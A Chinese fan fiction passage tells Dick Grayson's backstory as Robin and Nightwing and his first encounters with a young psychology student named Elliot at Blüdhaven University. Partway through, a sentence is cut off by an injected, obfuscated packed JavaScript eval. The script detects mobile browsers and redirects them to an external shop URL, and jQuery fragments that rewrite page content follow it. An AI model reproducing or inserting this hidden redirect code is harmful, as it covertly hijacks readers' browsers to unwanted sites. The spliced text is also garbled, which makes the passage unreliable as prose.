迪克·格雷森出生在春天的第一天。
那一天，马戏团的帐篷刚刚搭好，空气里有青草和木屑的味道。他的母亲把他抱在怀里，轻声哄着，目光温柔而专注。
他的母亲叫他“小罗宾”，因为他在空中翻转时的姿态像一只红胸的小鸟，轻盈、灵巧、仿佛永远不会坠落。
后来，他真的学会了飞。
在高空钢索上，他的身体一次次离地，又一次次落下。灯光亮起时，他在空中翻转，动作干净而流畅，像一只熟悉风向的小鸟。他的父母站在另一端，看着他穿过半空，眼神安静而笃定。
那是一个完整的家庭。
迪克在马戏团里长大，世界由高度、速度与掌声组成。他的身体很早就学会了信任平衡，也学会了在坠落之前调整呼吸。夜晚的练习场空无一人，只有风声和绳索轻微的震动。
直到那根钢索被人为切断。
那一场事故发生时，灯光依旧亮着，观众席坐满了人。钢索断裂的声音短促而清晰，他的父母从空中坠落，在所有人的注视下失去了生命。迪克站在地面，清楚地记得那一瞬间的空白，也记得自己曾经听见过不安的低语。
之后的日子里，他被送进福利系统，又被转送到教会孤儿院。走廊很长，窗户很高，夜里常常能听见风声。他学会了提前醒来，学会了在说话之前观察表情，也学会了把情绪收进身体深处。
直到布鲁斯·韦恩走进他生命的时候，带走了他。
他对父母死亡的真相始终无法释怀。在一次夜晚，他独自离开韦恩庄园，试图自己调查这起谋杀。在调查过程中，他无意间闯入了蝙蝠侠正在进行的同一调查。迪克被击昏。醒来时，他已经身处蝙蝠洞。
他第一次意识到黑暗中存在秩序，他留了下来，选择承受真相的重量。
罗宾这个名字再次被唤起。
那是母亲留给他的名字，也是他自己选择的名字。他在哥谭的夜里行动，在高处奔跑，在屋顶停留。每一次落地，他都记得父母教过他的节奏。
两个因犯罪而失去父母的人，在同一条阴影下找到了彼此。布鲁斯教会他格斗、侦查、潜行与判断；迪克学得很快，快到连蝙蝠侠自己都必须承认——这个孩子天生就属于夜色。
他们并肩走过了很长一段时间。
只是，他们并不完全一样。
蝙蝠侠用控制换取秩序，用恐惧压制混乱；
而迪克认为这会把人彻底推向深渊。
他们对正义的理解，在时间中逐渐拉开。
那一次，作为少年泰坦的队长，迪克受了伤。
伤口并不致命，却让布鲁斯做出了决定。他结束了罗宾的行动生涯，试图将他彻底隔离在危险之外。那一刻，迪克意识到，自己不要在这里
他不再是需要被保护的孩子。他有自己的判断，也有自己的界限。
最终，他离开了哥谭，抛下罗宾的身份。来到了隔壁的城市布鲁德海文，成为了夜翼。
他把自己放在了一个刚好能看清那座城市的位置。
布鲁德海文的空气里有盐味，风从港口方向吹来，带着柴油和海藻混在一起的气息。街区的灯光更直白，广告牌更密集，酒吧门口的音乐更早响起。这里的人步子快，脾气也快，像赶着把一天用完。
布鲁德海文大学在城市的另一侧。白天看起来很体面：草坪修剪得齐，路标字体统一，迎新周的彩旗挂在连廊上，颜色亮得像在提醒人——这里属于年轻人。
迪克提早到了校园。
不是为了浪漫的“先来看看”。他把这当作一件事儿办！
确认路线，确认视野，确认落脚点。地图在新生包里印得很精致，折痕像小小的山脊。迪克把它摊开，手指沿着线条走了一遍，随后合上。
他从校门走到宿舍区，绕到后面的服务通道，再从侧门穿回主干道。再走一遍。再换一条。每一次转向都落在同样的位置：能够看见两条路口的位置，能够听见脚步靠近的位置，能够在拥挤里留出一点余裕的位置。
他把这些点串起来，像把一张散开的网收紧。
第二天，他发现网里多了一条线。
有人走过他已经走过的路径。
不需要靠近，也能看出来。新生的步伐通常带着试探，视线会在路牌和手机之间来回切换。那个人的步伐很稳，停顿也很稳。停的地方很熟悉：连廊拐角、楼梯平台、自动门旁边的玻璃反光区。像在确认出入口，像在确认死角，像在确认灯的角度。
迪克第一次看见时，脚步慢了一拍。
第二次，他换了一条路，对方出现在另一条路的尽头。
第三次，迪克在自助咖啡机旁停下，对方也停在另一侧的公告板前，目光扫过研究助理招募单和心理咨询中心的海报，动作干净，像在取证。
迪克脑中闪回无数个校园biu biu案。心里浮出一个很现实的想法：校园安全课的教材又要更新了。
这座城市的教训总能写得很具体。
他把那个人记在脑子里。那个人的轮廓：偏冷的五官，安静的站姿，眼睛颜色在光里带一点奇怪的浅紫。好看得过分，也显眼得过分。
显眼的人通常活得很累。迪克对此有经验。
楼层会议那天，他帮宿舍助理发通知。
纸张边角被他压得很平，走廊灯光偏暗，地毯吸走了脚步声。他敲门，节奏轻，两下，停。门开时，他看见那双眼睛。
那一瞬间，他脑子里先跳出来的句子很简单：真年轻。
他把通知递过去，嘴角很自然地扬了一点。
“嗨。”
他说完，视线在对方脸上停了一下，像在核对记忆里的轮廓。那双眼睛在近处看更像玻璃珠，边缘偏深，光落进去会变成带灰的紫。迪克心里冒出一个很幼稚的联想：马戏团的灯光也会把颜色照成这样。
“你住四楼 B 吗？”
他把语气放得很随意。
他心里在算一件事：这人出现的频率，刚好卡在他踩点的路径上，重合得像刻意排过版。
对方点头。
迪克把那张纸递过去。
“这是楼层会议的通知。”
他说完这句，心里浮出第二个念头：这真的是同年级的同学吗。
身高、骨架、气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116916|195924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
质都偏成熟，脸却像刚从高中毕业的年纪。那种矛盾感很真实，真实到让人难以把它归进“装”。
“有人说过吗？你看起来真的很年轻。”
他笑了一下，把这句话说得像玩笑。
他心里在观察对方的反应：耳尖、呼吸、眼神落点。人在被戳中隐私时会有细小的偏移，偏移会在肌肉里泄露出来。
对方说了谢谢，语气平稳。
迪克松了一点。
会议开始后，他坐在边上，听宿舍助理讲安静时段、消防演练、夜间登记。内容重复，语速稳定，像一段预录的播音。迪克把夹板放在腿上，笔尖落下时声音很轻。
他在电梯口看见那个人走进来。对方站位刚好避开拥挤点，肩侧空间被自然留出来，像大家都默认给他让路。迪克看见那一瞬间，心里升起一种奇异的熟悉感：这类站位他在屋顶也见过。
宿舍助理让每个人做简单自我介绍。轮到那个人时，名字从他嘴里说出来很顺，像在确认身份。
“我叫Elliot……十六岁入学。”
他说这句话时语气平静。
迪克笔尖停了一下。
心里那句“真年轻”终于找到了一个能落地的数字。
十六岁。
迪克抬眼看他，像看见一张被提前翻到后半段的试卷。
天才。
这个词太俗。
这个词又很准确。
会议结束后，人群往外散，椅子摩擦地面，声音像短促的雨。迪克把夹板夹在腋下，走到那个人旁边。
“你是心理学，对吧？”
他说这句话时语气很轻。
心里同时在做两件事：确认专业，确认未来交集。心理学系的人总会出现在一些奇怪的地方，实验室、咨询中心、志愿活动。未来他总会再见到这个人。
对方应声。
“我也是，不过偏应用方向。”
迪克笑了一下。
心里浮出一个现实判断：十六岁的心理学新生，外加那种踩点式的路线选择，这组合有点过于尖锐。尖锐的人在布鲁德海文会吸引很多目光。
“如果你之后要找实验室，或者认路不太熟，可以问我。”
他把这句话说得像日常客气。
心里其实在确认一个更隐蔽的点：这个人走过的路线，已经包含了大部分实验楼的后门和连廊。认路对他大概率属于已完成任务。
对方看着他，眼神很稳。
迪克顺势指了一下走廊分岔口。
“我往这边。”
他说完停了一瞬。
心里像把一枚小小的标记贴在了对方身上：同类气味。不是危险气味，是熟悉气味。
“明天见。”
他把声音放得更自然。
心里那点警惕往后退了半步，兴趣往前走了一步。
操场见面发生在数周后。
清晨的风很冷，草坪边缘的露水把鞋底打湿。迪克做完拉伸，水瓶拧开，喉结滚动一下，呼吸很快恢复平稳。他听见脚步声靠近，节奏很轻，落点精准。
他抬头，看见那双浅紫的眼睛。